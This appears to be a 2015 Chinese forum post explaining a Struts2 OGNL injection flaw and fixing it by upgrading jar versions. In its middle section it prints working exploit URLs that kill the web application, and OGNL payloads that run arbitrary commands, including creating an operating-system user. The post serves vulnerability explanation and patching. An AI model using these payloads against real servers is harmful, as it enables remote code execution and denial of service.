雨落 发表于 2015-4-18 20:59

struts2漏洞原理及解决办法

1、struts2漏洞原理
Struts2是Struts + WebWork。WebWork最终是使用XWork来处理HTTP参数,是通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。当我们提交一个http参数:
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
action.getUser().getAddress().setCity(“Bishkek”)
action.getUser().setFavoriteDrink(“kumys”)
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()方法来实现的。除了提供getting/setting方法, OGNL 还支持其他更多的用法:
方法调用: foo()
静态方法调用: @java.lang.System@exit(1)
构造函数调用: new MyClass()
向上下文变量赋值: #foo = new MyClass()

因为HTTP参数就是OGNL的执行语句,为了防止通过HTTP参数调用一个恶意函数来攻击网站,XWork有下面两个变量来限制方法的执行:
OgnlContext的属性:xwork.MethodAccessor.denyMethodExecution (set to true by default)
SecurityMemberAccess 私有属性:allowStaticMethodAccess (set to false by default)
为了方便开发者方便的访问变量, XWork提供了下面几个预定义的上下文变量:
#application
#session
#request
#parameters
#attr
这些变量代表了服务器端的对象,类似一个map。为篡改这些服务器端的变量,XWork的ParametersInterceptor不允许在http参数中使用#,但是可以使用Java的unicode String 来代替: \u0023。
除了上面的上下文变量以外,还有下面更多的变量:
#context – OgnlContext, the one guarding method execution based on ‘xwork.MethodAccessor.denyMethodExecution’ property value.
#_memberAccess – SecurityMemberAccess, whose ‘allowStaticAccess’ field prevented static method execution.
#root
#this
#_typeResolver
#_classResolver
#_traceEvaluations
#_lastEvaluation
#_keepLastEvaluation
从上面的信息你可能已经看出问题了,我可以修改这些变量的值,然后执行一段恶意的java代码:
#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean(“false”)
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec(‘mkdir /tmp/PWNED’)
另外,你可以使用下面的代码检验一下你的网站是否有漏洞:http://mydomain/MyStruts.action?(‘\u0023_memberAccess[\'allowStaticMethodAccess\']‘)(meh)=true&(aaa)((‘\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
旧版本的XWork没有属性’allowStaticMethodAccess’ 可以使用下面的URL:http://mydomain/MyStruts.action?(aaa)((‘\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是
java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭
类似的可以执行
java.lang.Runtime.getRuntime().exec(“net user 用户名 密码 /add”);//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/),只要有权限就可以执行任何DOS命令。
2、struts2漏洞解决方法
将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4。主要用到以下几个替换掉旧版本的:
commons-lang3-3.1.jar (保留commons-lang-2.6.jar)
javassist-3.11.0.GA.jar (新加包)
ognl-3.0.5.jar (替换旧版本)
struts2-core-2.3.4.1.jar (替换旧版本)
xwork-core-2.3.4.1.jar (替换旧版本)
页: [1]
查看完整版本: struts2漏洞原理及解决办法